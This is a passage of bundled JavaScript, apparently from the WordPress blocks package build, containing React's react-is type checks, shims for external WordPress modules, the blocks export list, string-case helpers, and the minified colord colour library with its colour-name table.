          var REACT_PORTAL_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.portal&quot;);
          var REACT_FRAGMENT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.fragment&quot;);
          var REACT_STRICT_MODE_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.strict_mode&quot;);
          var REACT_PROFILER_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.profiler&quot;);
          var REACT_PROVIDER_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.provider&quot;);
          var REACT_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.context&quot;);
          var REACT_SERVER_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.server_context&quot;);
          var REACT_FORWARD_REF_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.forward_ref&quot;);
          var REACT_SUSPENSE_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.suspense&quot;);
          var REACT_SUSPENSE_LIST_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.suspense_list&quot;);
          var REACT_MEMO_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.memo&quot;);
          var REACT_LAZY_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.lazy&quot;);
          var REACT_OFFSCREEN_TYPE = /* @__PURE__ */ Symbol.for(&quot;react.offscreen&quot;);
          var enableScopeAPI = false;
          var enableCacheElement = false;
          var enableTransitionTracing = false;
          var enableLegacyHidden = false;
          var enableDebugTracing = false;
          var REACT_MODULE_REFERENCE;
          {
            REACT_MODULE_REFERENCE = /* @__PURE__ */ Symbol.for(&quot;react.module.reference&quot;);
          }
          function isValidElementType2(type) {
            if (typeof type === &quot;string&quot; || typeof type === &quot;function&quot;) {
              return true;
            }
            if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCacheElement || enableTransitionTracing) {
              return true;
            }
            if (typeof type === &quot;object&quot; &amp;&amp; type !== null) {
              if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
              // types supported by any Flight configuration anywhere since
              // we don&#039;t know which Flight build this will end up being used
              // with.
              type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== void 0) {
                return true;
              }
            }
            return false;
          }
          function typeOf(object) {
            if (typeof object === &quot;object&quot; &amp;&amp; object !== null) {
              var $$typeof = object.$$typeof;
              switch ($$typeof) {
                case REACT_ELEMENT_TYPE:
                  var type = object.type;
                  switch (type) {
                    case REACT_FRAGMENT_TYPE:
                    case REACT_PROFILER_TYPE:
                    case REACT_STRICT_MODE_TYPE:
                    case REACT_SUSPENSE_TYPE:
                    case REACT_SUSPENSE_LIST_TYPE:
                      return type;
                    default:
                      var $$typeofType = type &amp;&amp; type.$$typeof;
                      switch ($$typeofType) {
                        case REACT_SERVER_CONTEXT_TYPE:
                        case REACT_CONTEXT_TYPE:
                        case REACT_FORWARD_REF_TYPE:
                        case REACT_LAZY_TYPE:
                        case REACT_MEMO_TYPE:
                        case REACT_PROVIDER_TYPE:
                          return $$typeofType;
                        default:
                          return $$typeof;
                      }
                  }
                case REACT_PORTAL_TYPE:
                  return $$typeof;
              }
            }
            return void 0;
          }
          var ContextConsumer = REACT_CONTEXT_TYPE;
          var ContextProvider = REACT_PROVIDER_TYPE;
          var Element = REACT_ELEMENT_TYPE;
          var ForwardRef = REACT_FORWARD_REF_TYPE;
          var Fragment = REACT_FRAGMENT_TYPE;
          var Lazy = REACT_LAZY_TYPE;
          var Memo = REACT_MEMO_TYPE;
          var Portal = REACT_PORTAL_TYPE;
          var Profiler = REACT_PROFILER_TYPE;
          var StrictMode = REACT_STRICT_MODE_TYPE;
          var Suspense = REACT_SUSPENSE_TYPE;
          var SuspenseList = REACT_SUSPENSE_LIST_TYPE;
          var hasWarnedAboutDeprecatedIsAsyncMode = false;
          var hasWarnedAboutDeprecatedIsConcurrentMode = false;
          function isAsyncMode(object) {
            {
              if (!hasWarnedAboutDeprecatedIsAsyncMode) {
                hasWarnedAboutDeprecatedIsAsyncMode = true;
                console[&quot;warn&quot;](&quot;The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 18+.&quot;);
              }
            }
            return false;
          }
          function isConcurrentMode(object) {
            {
              if (!hasWarnedAboutDeprecatedIsConcurrentMode) {
                hasWarnedAboutDeprecatedIsConcurrentMode = true;
                console[&quot;warn&quot;](&quot;The ReactIs.isConcurrentMode() alias has been deprecated, and will be removed in React 18+.&quot;);
              }
            }
            return false;
          }
          function isContextConsumer(object) {
            return typeOf(object) === REACT_CONTEXT_TYPE;
          }
          function isContextProvider(object) {
            return typeOf(object) === REACT_PROVIDER_TYPE;
          }
          function isElement(object) {
            return typeof object === &quot;object&quot; &amp;&amp; object !== null &amp;&amp; object.$$typeof === REACT_ELEMENT_TYPE;
          }
          function isForwardRef(object) {
            return typeOf(object) === REACT_FORWARD_REF_TYPE;
          }
          function isFragment(object) {
            return typeOf(object) === REACT_FRAGMENT_TYPE;
          }
          function isLazy(object) {
            return typeOf(object) === REACT_LAZY_TYPE;
          }
          function isMemo(object) {
            return typeOf(object) === REACT_MEMO_TYPE;
          }
          function isPortal(object) {
            return typeOf(object) === REACT_PORTAL_TYPE;
          }
          function isProfiler(object) {
            return typeOf(object) === REACT_PROFILER_TYPE;
          }
          function isStrictMode(object) {
            return typeOf(object) === REACT_STRICT_MODE_TYPE;
          }
          function isSuspense(object) {
            return typeOf(object) === REACT_SUSPENSE_TYPE;
          }
          function isSuspenseList(object) {
            return typeOf(object) === REACT_SUSPENSE_LIST_TYPE;
          }
          exports.ContextConsumer = ContextConsumer;
          exports.ContextProvider = ContextProvider;
          exports.Element = Element;
          exports.ForwardRef = ForwardRef;
          exports.Fragment = Fragment;
          exports.Lazy = Lazy;
          exports.Memo = Memo;
          exports.Portal = Portal;
          exports.Profiler = Profiler;
          exports.StrictMode = StrictMode;
          exports.Suspense = Suspense;
          exports.SuspenseList = SuspenseList;
          exports.isAsyncMode = isAsyncMode;
          exports.isConcurrentMode = isConcurrentMode;
          exports.isContextConsumer = isContextConsumer;
          exports.isContextProvider = isContextProvider;
          exports.isElement = isElement;
          exports.isForwardRef = isForwardRef;
          exports.isFragment = isFragment;
          exports.isLazy = isLazy;
          exports.isMemo = isMemo;
          exports.isPortal = isPortal;
          exports.isProfiler = isProfiler;
          exports.isStrictMode = isStrictMode;
          exports.isSuspense = isSuspense;
          exports.isSuspenseList = isSuspenseList;
          exports.isValidElementType = isValidElementType2;
          exports.typeOf = typeOf;
        })();
      }
    }
  });

  // packages/blocks/node_modules/react-is/index.js
  var require_react_is = __commonJS({
    &quot;packages/blocks/node_modules/react-is/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      if (false) {
        module.exports = null;
      } else {
        module.exports = require_react_is_development();
      }
    }
  });

  // package-external:@wordpress/hooks
  var require_hooks = __commonJS({
    &quot;package-external:@wordpress/hooks&quot;(exports, module) {
      module.exports = window.wp.hooks;
    }
  });

  // package-external:@wordpress/block-serialization-default-parser
  var require_block_serialization_default_parser = __commonJS({
    &quot;package-external:@wordpress/block-serialization-default-parser&quot;(exports, module) {
      module.exports = window.wp.blockSerializationDefaultParser;
    }
  });

  // package-external:@wordpress/autop
  var require_autop = __commonJS({
    &quot;package-external:@wordpress/autop&quot;(exports, module) {
      module.exports = window.wp.autop;
    }
  });

  // package-external:@wordpress/is-shallow-equal
  var require_is_shallow_equal = __commonJS({
    &quot;package-external:@wordpress/is-shallow-equal&quot;(exports, module) {
      module.exports = window.wp.isShallowEqual;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    &quot;vendor-external:react/jsx-runtime&quot;(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // package-external:@wordpress/html-entities
  var require_html_entities = __commonJS({
    &quot;package-external:@wordpress/html-entities&quot;(exports, module) {
      module.exports = window.wp.htmlEntities;
    }
  });

  // package-external:@wordpress/shortcode
  var require_shortcode = __commonJS({
    &quot;package-external:@wordpress/shortcode&quot;(exports, module) {
      module.exports = window.wp.shortcode;
    }
  });

  // package-external:@wordpress/blob
  var require_blob = __commonJS({
    &quot;package-external:@wordpress/blob&quot;(exports, module) {
      module.exports = window.wp.blob;
    }
  });

  // packages/blocks/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __EXPERIMENTAL_ELEMENTS: () =&gt; __EXPERIMENTAL_ELEMENTS,
    __EXPERIMENTAL_PATHS_WITH_OVERRIDE: () =&gt; __EXPERIMENTAL_PATHS_WITH_OVERRIDE,
    __EXPERIMENTAL_STYLE_PROPERTY: () =&gt; __EXPERIMENTAL_STYLE_PROPERTY,
    __experimentalCloneSanitizedBlock: () =&gt; __experimentalCloneSanitizedBlock,
    __experimentalGetAccessibleBlockLabel: () =&gt; getAccessibleBlockLabel,
    __experimentalGetBlockAttributesNamesByRole: () =&gt; __experimentalGetBlockAttributesNamesByRole,
    __experimentalGetBlockLabel: () =&gt; getBlockLabel,
    __experimentalSanitizeBlockAttributes: () =&gt; __experimentalSanitizeBlockAttributes,
    __unstableGetBlockProps: () =&gt; getBlockProps,
    __unstableGetInnerBlocksProps: () =&gt; getInnerBlocksProps,
    __unstableSerializeAndClean: () =&gt; __unstableSerializeAndClean,
    children: () =&gt; children_default,
    cloneBlock: () =&gt; cloneBlock,
    cloneSanitizedBlock: () =&gt; cloneSanitizedBlock,
    createBlock: () =&gt; createBlock,
    createBlocksFromInnerBlocksTemplate: () =&gt; createBlocksFromInnerBlocksTemplate,
    doBlocksMatchTemplate: () =&gt; doBlocksMatchTemplate,
    findTransform: () =&gt; findTransform,
    getBlockAttributes: () =&gt; getBlockAttributes,
    getBlockAttributesNamesByRole: () =&gt; getBlockAttributesNamesByRole,
    getBlockBindingsSource: () =&gt; getBlockBindingsSource,
    getBlockBindingsSources: () =&gt; getBlockBindingsSources,
    getBlockContent: () =&gt; getBlockInnerHTML,
    getBlockDefaultClassName: () =&gt; getBlockDefaultClassName,
    getBlockFromExample: () =&gt; getBlockFromExample,
    getBlockMenuDefaultClassName: () =&gt; getBlockMenuDefaultClassName,
    getBlockSupport: () =&gt; getBlockSupport,
    getBlockTransforms: () =&gt; getBlockTransforms,
    getBlockType: () =&gt; getBlockType,
    getBlockTypes: () =&gt; getBlockTypes,
    getBlockVariations: () =&gt; getBlockVariations,
    getCategories: () =&gt; getCategories2,
    getChildBlockNames: () =&gt; getChildBlockNames,
    getDefaultBlockName: () =&gt; getDefaultBlockName,
    getFreeformContentHandlerName: () =&gt; getFreeformContentHandlerName,
    getGroupingBlockName: () =&gt; getGroupingBlockName,
    getPhrasingContentSchema: () =&gt; deprecatedGetPhrasingContentSchema,
    getPossibleBlockTransformations: () =&gt; getPossibleBlockTransformations,
    getSaveContent: () =&gt; getSaveContent,
    getSaveElement: () =&gt; getSaveElement,
    getUnregisteredTypeHandlerName: () =&gt; getUnregisteredTypeHandlerName,
    hasBlockSupport: () =&gt; hasBlockSupport,
    hasChildBlocks: () =&gt; hasChildBlocks,
    hasChildBlocksWithInserterSupport: () =&gt; hasChildBlocksWithInserterSupport,
    isReusableBlock: () =&gt; isReusableBlock,
    isTemplatePart: () =&gt; isTemplatePart,
    isUnmodifiedBlock: () =&gt; isUnmodifiedBlock,
    isUnmodifiedDefaultBlock: () =&gt; isUnmodifiedDefaultBlock,
    isValidBlockContent: () =&gt; isValidBlockContent,
    isValidIcon: () =&gt; isValidIcon,
    node: () =&gt; node_default,
    normalizeIconObject: () =&gt; normalizeIconObject,
    parse: () =&gt; parse2,
    parseWithAttributeSchema: () =&gt; parseWithAttributeSchema,
    pasteHandler: () =&gt; pasteHandler,
    privateApis: () =&gt; privateApis,
    rawHandler: () =&gt; rawHandler,
    registerBlockBindingsSource: () =&gt; registerBlockBindingsSource,
    registerBlockCollection: () =&gt; registerBlockCollection,
    registerBlockStyle: () =&gt; registerBlockStyle,
    registerBlockType: () =&gt; registerBlockType,
    registerBlockVariation: () =&gt; registerBlockVariation,
    sanitizeBlockAttributes: () =&gt; sanitizeBlockAttributes,
    serialize: () =&gt; serialize,
    serializeRawBlock: () =&gt; serializeRawBlock,
    setCategories: () =&gt; setCategories2,
    setDefaultBlockName: () =&gt; setDefaultBlockName,
    setFreeformContentHandlerName: () =&gt; setFreeformContentHandlerName,
    setGroupingBlockName: () =&gt; setGroupingBlockName,
    setUnregisteredTypeHandlerName: () =&gt; setUnregisteredTypeHandlerName,
    store: () =&gt; store,
    switchToBlockType: () =&gt; switchToBlockType,
    synchronizeBlocksWithTemplate: () =&gt; synchronizeBlocksWithTemplate,
    unregisterBlockBindingsSource: () =&gt; unregisterBlockBindingsSource,
    unregisterBlockStyle: () =&gt; unregisterBlockStyle,
    unregisterBlockType: () =&gt; unregisterBlockType,
    unregisterBlockVariation: () =&gt; unregisterBlockVariation,
    unstable__bootstrapServerSideBlockDefinitions: () =&gt; unstable__bootstrapServerSideBlockDefinitions,
    updateCategory: () =&gt; updateCategory2,
    validateBlock: () =&gt; validateBlock,
    withBlockContentContext: () =&gt; withBlockContentContext
  });

  // packages/blocks/build-module/store/index.mjs
  var import_data5 = __toESM(require_data(), 1);

  // node_modules/tslib/tslib.es6.mjs
  var __assign = function() {
    __assign = Object.assign || function __assign2(t3) {
      for (var s2, i2 = 1, n2 = arguments.length; i2 &lt; n2; i2++) {
        s2 = arguments[i2];
        for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2)) t3[p2] = s2[p2];
      }
      return t3;
    };
    return __assign.apply(this, arguments);
  };

  // node_modules/lower-case/dist.es2015/index.js
  function lowerCase(str) {
    return str.toLowerCase();
  }

  // node_modules/no-case/dist.es2015/index.js
  var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
  var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
  function noCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? &quot; &quot; : _d;
    var result = replace(replace(input, splitRegexp, &quot;$1\0$2&quot;), stripRegexp, &quot;\0&quot;);
    var start = 0;
    var end = result.length;
    while (result.charAt(start) === &quot;\0&quot;)
      start++;
    while (result.charAt(end - 1) === &quot;\0&quot;)
      end--;
    return result.slice(start, end).split(&quot;\0&quot;).map(transform).join(delimiter);
  }
  function replace(input, re2, value) {
    if (re2 instanceof RegExp)
      return input.replace(re2, value);
    return re2.reduce(function(input2, re3) {
      return input2.replace(re3, value);
    }, input);
  }

  // node_modules/pascal-case/dist.es2015/index.js
  function pascalCaseTransform(input, index) {
    var firstChar = input.charAt(0);
    var lowerChars = input.substr(1).toLowerCase();
    if (index &gt; 0 &amp;&amp; firstChar &gt;= &quot;0&quot; &amp;&amp; firstChar &lt;= &quot;9&quot;) {
      return &quot;_&quot; + firstChar + lowerChars;
    }
    return &quot;&quot; + firstChar.toUpperCase() + lowerChars;
  }
  function pascalCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    return noCase(input, __assign({ delimiter: &quot;&quot;, transform: pascalCaseTransform }, options));
  }

  // node_modules/camel-case/dist.es2015/index.js
  function camelCaseTransform(input, index) {
    if (index === 0)
      return input.toLowerCase();
    return pascalCaseTransform(input, index);
  }
  function camelCase(input, options) {
    if (options === void 0) {
      options = {};
    }
    return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
  }

  // packages/blocks/build-module/store/reducer.mjs
  var import_data2 = __toESM(require_data(), 1);
  var import_i18n3 = __toESM(require_i18n(), 1);

  // node_modules/colord/index.mjs
  var r = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
  var t = function(r2) {
    return &quot;string&quot; == typeof r2 ? r2.length &gt; 0 : &quot;number&quot; == typeof r2;
  };
  var n = function(r2, t3, n2) {
    return void 0 === t3 &amp;&amp; (t3 = 0), void 0 === n2 &amp;&amp; (n2 = Math.pow(10, t3)), Math.round(n2 * r2) / n2 + 0;
  };
  var e = function(r2, t3, n2) {
    return void 0 === t3 &amp;&amp; (t3 = 0), void 0 === n2 &amp;&amp; (n2 = 1), r2 &gt; n2 ? n2 : r2 &gt; t3 ? r2 : t3;
  };
  var u = function(r2) {
    return (r2 = isFinite(r2) ? r2 % 360 : 0) &gt; 0 ? r2 : r2 + 360;
  };
  var a = function(r2) {
    return { r: e(r2.r, 0, 255), g: e(r2.g, 0, 255), b: e(r2.b, 0, 255), a: e(r2.a) };
  };
  var o = function(r2) {
    return { r: n(r2.r), g: n(r2.g), b: n(r2.b), a: n(r2.a, 3) };
  };
  var i = /^#([0-9a-f]{3,8})$/i;
  var s = function(r2) {
    var t3 = r2.toString(16);
    return t3.length &lt; 2 ? &quot;0&quot; + t3 : t3;
  };
  var h = function(r2) {
    var t3 = r2.r, n2 = r2.g, e2 = r2.b, u2 = r2.a, a2 = Math.max(t3, n2, e2), o3 = a2 - Math.min(t3, n2, e2), i2 = o3 ? a2 === t3 ? (n2 - e2) / o3 : a2 === n2 ? 2 + (e2 - t3) / o3 : 4 + (t3 - n2) / o3 : 0;
    return { h: 60 * (i2 &lt; 0 ? i2 + 6 : i2), s: a2 ? o3 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
  };
  var b = function(r2) {
    var t3 = r2.h, n2 = r2.s, e2 = r2.v, u2 = r2.a;
    t3 = t3 / 360 * 6, n2 /= 100, e2 /= 100;
    var a2 = Math.floor(t3), o3 = e2 * (1 - n2), i2 = e2 * (1 - (t3 - a2) * n2), s2 = e2 * (1 - (1 - t3 + a2) * n2), h2 = a2 % 6;
    return { r: 255 * [e2, i2, o3, o3, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o3, o3][h2], b: 255 * [o3, o3, s2, e2, e2, i2][h2], a: u2 };
  };
  var g = function(r2) {
    return { h: u(r2.h), s: e(r2.s, 0, 100), l: e(r2.l, 0, 100), a: e(r2.a) };
  };
  var d = function(r2) {
    return { h: n(r2.h), s: n(r2.s), l: n(r2.l), a: n(r2.a, 3) };
  };
  var f = function(r2) {
    return b((n2 = (t3 = r2).s, { h: t3.h, s: (n2 *= ((e2 = t3.l) &lt; 50 ? e2 : 100 - e2) / 100) &gt; 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t3.a }));
    var t3, n2, e2;
  };
  var c = function(r2) {
    return { h: (t3 = h(r2)).h, s: (u2 = (200 - (n2 = t3.s)) * (e2 = t3.v) / 100) &gt; 0 &amp;&amp; u2 &lt; 200 ? n2 * e2 / 100 / (u2 &lt;= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t3.a };
    var t3, n2, e2, u2;
  };
  var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var y = { string: [[function(r2) {
    var t3 = i.exec(r2);
    return t3 ? (r2 = t3[1]).length &lt;= 4 ? { r: parseInt(r2[0] + r2[0], 16), g: parseInt(r2[1] + r2[1], 16), b: parseInt(r2[2] + r2[2], 16), a: 4 === r2.length ? n(parseInt(r2[3] + r2[3], 16) / 255, 2) : 1 } : 6 === r2.length || 8 === r2.length ? { r: parseInt(r2.substr(0, 2), 16), g: parseInt(r2.substr(2, 2), 16), b: parseInt(r2.substr(4, 2), 16), a: 8 === r2.length ? n(parseInt(r2.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
  }, &quot;hex&quot;], [function(r2) {
    var t3 = v.exec(r2) || m.exec(r2);
    return t3 ? t3[2] !== t3[4] || t3[4] !== t3[6] ? null : a({ r: Number(t3[1]) / (t3[2] ? 100 / 255 : 1), g: Number(t3[3]) / (t3[4] ? 100 / 255 : 1), b: Number(t3[5]) / (t3[6] ? 100 / 255 : 1), a: void 0 === t3[7] ? 1 : Number(t3[7]) / (t3[8] ? 100 : 1) }) : null;
  }, &quot;rgb&quot;], [function(t3) {
    var n2 = l.exec(t3) || p.exec(t3);
    if (!n2) return null;
    var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 &amp;&amp; (u2 = &quot;deg&quot;), Number(e2) * (r[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
    return f(a2);
  }, &quot;hsl&quot;]], object: [[function(r2) {
    var n2 = r2.r, e2 = r2.g, u2 = r2.b, o3 = r2.a, i2 = void 0 === o3 ? 1 : o3;
    return t(n2) &amp;&amp; t(e2) &amp;&amp; t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
  }, &quot;rgb&quot;], [function(r2) {
    var n2 = r2.h, e2 = r2.s, u2 = r2.l, a2 = r2.a, o3 = void 0 === a2 ? 1 : a2;
    if (!t(n2) || !t(e2) || !t(u2)) return null;
    var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o3) });
    return f(i2);
  }, &quot;hsl&quot;], [function(r2) {
    var n2 = r2.h, a2 = r2.s, o3 = r2.v, i2 = r2.a, s2 = void 0 === i2 ? 1 : i2;
    if (!t(n2) || !t(a2) || !t(o3)) return null;
    var h2 = (function(r3) {
      return { h: u(r3.h), s: e(r3.s, 0, 100), v: e(r3.v, 0, 100), a: e(r3.a) };
    })({ h: Number(n2), s: Number(a2), v: Number(o3), a: Number(s2) });
    return b(h2);
  }, &quot;hsv&quot;]] };
  var N = function(r2, t3) {
    for (var n2 = 0; n2 &lt; t3.length; n2++) {
      var e2 = t3[n2][0](r2);
      if (e2) return [e2, t3[n2][1]];
    }
    return [null, void 0];
  };
  var x = function(r2) {
    return &quot;string&quot; == typeof r2 ? N(r2.trim(), y.string) : &quot;object&quot; == typeof r2 &amp;&amp; null !== r2 ? N(r2, y.object) : [null, void 0];
  };
  var M = function(r2, t3) {
    var n2 = c(r2);
    return { h: n2.h, s: e(n2.s + 100 * t3, 0, 100), l: n2.l, a: n2.a };
  };
  var H = function(r2) {
    return (299 * r2.r + 587 * r2.g + 114 * r2.b) / 1e3 / 255;
  };
  var $ = function(r2, t3) {
    var n2 = c(r2);
    return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t3, 0, 100), a: n2.a };
  };
  var j = (function() {
    function r2(r3) {
      this.parsed = x(r3)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
    }
    return r2.prototype.isValid = function() {
      return null !== this.parsed;
    }, r2.prototype.brightness = function() {
      return n(H(this.rgba), 2);
    }, r2.prototype.isDark = function() {
      return H(this.rgba) &lt; 0.5;
    }, r2.prototype.isLight = function() {
      return H(this.rgba) &gt;= 0.5;
    }, r2.prototype.toHex = function() {
      return r3 = o(this.rgba), t3 = r3.r, e2 = r3.g, u2 = r3.b, i2 = (a2 = r3.a) &lt; 1 ? s(n(255 * a2)) : &quot;&quot;, &quot;#&quot; + s(t3) + s(e2) + s(u2) + i2;
      var r3, t3, e2, u2, a2, i2;
    }, r2.prototype.toRgb = function() {
      return o(this.rgba);
    }, r2.prototype.toRgbString = function() {
      return r3 = o(this.rgba), t3 = r3.r, n2 = r3.g, e2 = r3.b, (u2 = r3.a) &lt; 1 ? &quot;rgba(&quot; + t3 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;, &quot; + u2 + &quot;)&quot; : &quot;rgb(&quot; + t3 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;)&quot;;
      var r3, t3, n2, e2, u2;
    }, r2.prototype.toHsl = function() {
      return d(c(this.rgba));
    }, r2.prototype.toHslString = function() {
      return r3 = d(c(this.rgba)), t3 = r3.h, n2 = r3.s, e2 = r3.l, (u2 = r3.a) &lt; 1 ? &quot;hsla(&quot; + t3 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%, &quot; + u2 + &quot;)&quot; : &quot;hsl(&quot; + t3 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%)&quot;;
      var r3, t3, n2, e2, u2;
    }, r2.prototype.toHsv = function() {
      return r3 = h(this.rgba), { h: n(r3.h), s: n(r3.s), v: n(r3.v), a: n(r3.a, 3) };
      var r3;
    }, r2.prototype.invert = function() {
      return w({ r: 255 - (r3 = this.rgba).r, g: 255 - r3.g, b: 255 - r3.b, a: r3.a });
      var r3;
    }, r2.prototype.saturate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w(M(this.rgba, r3));
    }, r2.prototype.desaturate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w(M(this.rgba, -r3));
    }, r2.prototype.grayscale = function() {
      return w(M(this.rgba, -1));
    }, r2.prototype.lighten = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w($(this.rgba, r3));
    }, r2.prototype.darken = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 0.1), w($(this.rgba, -r3));
    }, r2.prototype.rotate = function(r3) {
      return void 0 === r3 &amp;&amp; (r3 = 15), this.hue(this.hue() + r3);
    }, r2.prototype.alpha = function(r3) {
      return &quot;number&quot; == typeof r3 ? w({ r: (t3 = this.rgba).r, g: t3.g, b: t3.b, a: r3 }) : n(this.rgba.a, 3);
      var t3;
    }, r2.prototype.hue = function(r3) {
      var t3 = c(this.rgba);
      return &quot;number&quot; == typeof r3 ? w({ h: r3, s: t3.s, l: t3.l, a: t3.a }) : n(t3.h);
    }, r2.prototype.isEqual = function(r3) {
      return this.toHex() === w(r3).toHex();
    }, r2;
  })();
  var w = function(r2) {
    return r2 instanceof j ? r2 : new j(r2);
  };
  var S = [];
  var k = function(r2) {
    r2.forEach(function(r3) {
      S.indexOf(r3) &lt; 0 &amp;&amp; (r3(j, y), S.push(r3));
    });
  };

  // node_modules/colord/plugins/names.mjs
  function names_default(e2, f2) {
    var a2 = { white: &quot;#ffffff&quot;, bisque: &quot;#ffe4c4&quot;, blue: &quot;#0000ff&quot;, cadetblue: &quot;#5f9ea0&quot;, chartreuse: &quot;#7fff00&quot;, chocolate: &quot;#d2691e&quot;, coral: &quot;#ff7f50&quot;, antiquewhite: &quot;#faebd7&quot;, aqua: &quot;#00ffff&quot;, azure: &quot;#f0ffff&quot;, whitesmoke: &quot;#f5f5f5&quot;, papayawhip: &quot;#ffefd5&quot;, plum: &quot;#dda0dd&quot;, blanchedalmond: &quot;#ffebcd&quot;, black: &quot;#000000&quot;, gold: &quot;#ffd700&quot;, goldenrod: &quot;#daa520&quot;, gainsboro: &quot;#dcdcdc&quot;, cornsilk: &quot;#fff8dc&quot;, cornflowerblue: &quot;#6495ed&quot;, burlywood: &quot;#deb887&quot;, aquamarine: &quot;#7fffd4&quot;, beige: &quot;#f5f5dc&quot;, crimson: &quot;#dc143c&quot;, cyan: &quot;#00ffff&quot;, darkblue: &quot;#00008b&quot;, darkcyan: &quot;#008b8b&quot;, darkgoldenrod: &quot;#b8860b&quot;, darkkhaki: &quot;#bdb76b&quot;, darkgray: &quot;#a9a9a9&quot;, darkgreen: &quot;#006400&quot;, darkgrey: &quot;#a9a9a9&quot;, peachpuff: &quot;#ffdab9&quot;, darkmagenta: &quot;#8b008b&quot;, darkred: &quot;#8b0000&quot;, darkorchid: &quot;#9932cc&quot;, darkorange: &quot;#ff8c00&quot;, darkslateblue: &quot;#483d8b&quot;, gray: &quot;#808080&quot;, darkslategray: &quot;#2f4f4f&quot;, darkslategrey: &quot;#2f4f4f&quot;, deeppink: &quot;#ff1493&quot;, deepskyblue: &quot;#00bfff&quot;, wheat: &quot;#f5deb3&quot;, firebrick: &quot;#b22222&quot;, floralwhite: &quot;#fffaf0&quot;, ghostwhite: &quot;#f8f8ff&quot;, darkviolet: &quot;#9400d3&quot;, magenta: &quot;#ff00ff&quot;, green: &quot;#008000&quot;, dodgerblue: &quot;#1e90ff&quot;, grey: &quot;#808080&quot;, honeydew: &quot;#f0fff0&quot;, hotpink: &quot;#ff69b4&quot;, blueviolet: &quot;#8a2be2&quot;, forestgreen: &quot;#228b22&quot;, lawngreen: &quot;#7cfc00&quot;, indianred: &quot;#cd5c5c&quot;, indigo: &quot;#4b0082&quot;, fuchsia: &quot;#ff00ff&quot;, brown: &quot;#a52a2a&quot;, maroon: &quot;#800000&quot;, mediumblue: &quot;#0000cd&quot;, lightcoral: &quot;#f08080&quot;, darkturquoise: 